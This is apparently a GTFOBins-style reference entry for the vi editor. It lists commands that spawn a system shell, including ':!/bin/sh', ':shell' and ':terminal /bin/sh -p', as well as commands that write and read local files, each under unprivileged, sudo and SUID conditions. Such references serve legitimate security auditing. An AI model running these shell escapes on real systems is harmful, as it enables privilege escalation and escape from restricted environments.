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• Shell
• File write
• File read

Shell

This executable can spawn an interactive system shell.

• Unprivileged

  This function can be performed by any unprivileged user.

  vi -c ':!/bin/sh' /dev/null

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  vi -c ':!/bin/sh' /dev/null

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.

  vi -c ':!/bin/sh' /dev/null

• Unprivileged

  This function can be performed by any unprivileged user.

  vi
  :shell

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  vi
  :shell

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.

  vi
  :shell

• Unprivileged

  This function can be performed by any unprivileged user.

  vi -c :terminal /bin/sh

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  vi -c :terminal /bin/sh

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.

  vi -c ':terminal /bin/sh -p'

File write

This executable can write data to local files.

• Comment

  Where ^[ is the escape key.

  Unprivileged

  This function can be performed by any unprivileged user.

  vi /path/to/output-file
  iDATA
  ^[
  w

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  vi /path/to/output-file
  iDATA
  ^[
  w

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  vi /path/to/output-file
  iDATA
  ^[
  w

File read

This executable can read data from local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  vi /path/to/input-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  vi /path/to/input-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  vi /path/to/input-file

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